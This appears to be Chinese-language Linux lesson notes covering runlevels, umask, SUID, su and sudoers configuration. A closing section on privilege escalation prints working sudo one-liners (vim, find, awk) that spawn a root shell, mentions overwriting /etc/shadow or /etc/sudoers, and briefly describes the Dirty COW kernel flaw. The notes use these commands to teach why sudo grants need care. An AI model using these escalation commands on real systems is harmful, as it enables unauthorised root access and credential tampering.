7.Linux运行级别和sudo

Linux运行级别

运行级别0 关机
运行级别1 单用户,这个类似于windows安全模式,可以用于找回密码等操作。
运行级别2 不带网络的多用户,这种是不能联网的。
运行级别3 完整的多用户模式multi-user.target,我们平常使用的模式
运行级别4 保留
运行级别5 桌面模式graphical.target,桌面版系统就是这个模式,如果不想开机进入图形化界面,就需要修改运行级别,可以试一下
运行级别6 重启

1
2
3
4
5
6
7
8
9
init + 数字 #切换运行级别

# 查看运行级别
runlevel
systemctl get-default

# 设置运行级别
systemctl set-default graphical.target
systemctl set-default multi-user.target

权限掩码

掩码

查看掩码值

1
2
3
4
5
umask     # 0022这个值决定着创建文件的初始权限

目录的初始权限位755,文件的644
文件的权限计算:0066-0022 = 0644
目录的权限计算:0077-0022 = 0755

特殊权限

suid,就是某个可执行文件有super超级管理员权限,这个文件普通用户也能用,含有suid的文件,可以让普通用户拥有该文件属主的执行权限,主要针对的是命令文件。

1
2
3
4
1.passwd # 修改密码
密码存储在 /usr/bin/passwd文件下

2.netstat -ltp # root用户才能用这个命令

su和sude

su全称 switch user

1
2
# root用户可以很方便的切换到任意用户
su - nikta

sudo全称:superuser do,他的作用是用来授权的。就是给普通用户高级权限用的。原因就是很多的操作,如果都需要root用户去做太麻烦了,所以可以给普通用户做一些授权,普通用户操作就方便了。授权就用到了sudo,sudo并不是一下子给用户很多权限,而是一个命令一个命令的授权。

sudo需要修改配置才能开启

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#root用户才能修改这个配置。
1.配置/etc/sudoers
#直接vi sudo就能编辑这个文件
[root@localhost ~]# vi sudo
#用户名 所有终端 = 运行的用户身份 命令ALL,ALL是所有指令,不能给所有的,不然权限太高了
#在100行下面添加如下内容
jaden ALL=(ALL) /bin/systemctl,/usr/bin/vim,/usr/sbin/reboot # 单独给指令权限,而且要写指令的绝对路径,逗号分割
#修改完配置文件,保存退出之后,立马就生效了,不需要重启或者重新登录。

#切换到普通用户,查看可以使用的授权命令
sudo -l
[jaden@localhost~]$ sudo -l

2.使用sudo指令
sudo reboot # 在使用授权的命令时要在命令前加上sudo。如果授权了/usr/bin/vim指令,那么普通用户可以改任意文件。注意,Vim的权限很大,比如可以修改密码,可以修改授权配置文件等,甚至root用户的密码都可以修改,所以不要将vim的root权限给普通用户。

Linux普通用户提权

1、sudo提权

sudo提权,就是我们进行sudo授权时给的权限太高,或者授权时控制的不太合理,就会被普通用户利用来授权。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
示例1:
vim # 命令模式执行:!/
# 通过vim修改/etc/sudoers,授权ALL
# 再通过vim进入一个文件
#:输入指令,是可以直接输入系统指令的,前面加一个!即可,比如创建一个文件,!touch 3.txt
#查看3.txt信息如下
[nikta@localhost~]$ 11
总用量 0
-rw-r--r-- 1 root root 0 3月 23 17:05 3.txt # 以root用户身份创建的文件
#如果在vim文件时,执行!/bin/bash,就进入到了root的命令终端,可以为所欲为。
#这就是sudo提权,但是sudo提权需要借助到可以执行系统指令的交互式的功能,比如vim。

示例2:
find # sudo find . -exec bash \;#直接进入root的命令终端,这个指令退出root终端可能要退好几次才行,看find找到了几个文件,找到了3个文件,就输入三次exit才能退出。

示例3:
awk # sudo awk 'BEGIN {system("/bin/bash")}' jaden.txt # 直接进入到root命令终端,exit直接退出。

# 还有好多指令可以提权,比如cp命令也可以提权,将其他电脑上的/etc/shadow文件拷贝到这个系统中,密码就改掉了,再su切换到root即可等等,还有什么mv、vi、sed修改文件、chmod改重要文件权限等等,普通用户使用sudo来修改shadow文件的root用户的密码。

2、脏牛提权

dcow全称dirty cow,脏牛,原理:Linux内核的内存子系统在处理写入时复制(copy-on-write,COW,组合起来是牛的意思)时产生了竞争条件。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问,所以大家都管这个提权方式叫做脏牛提权。会监测是否存在这个漏洞即可。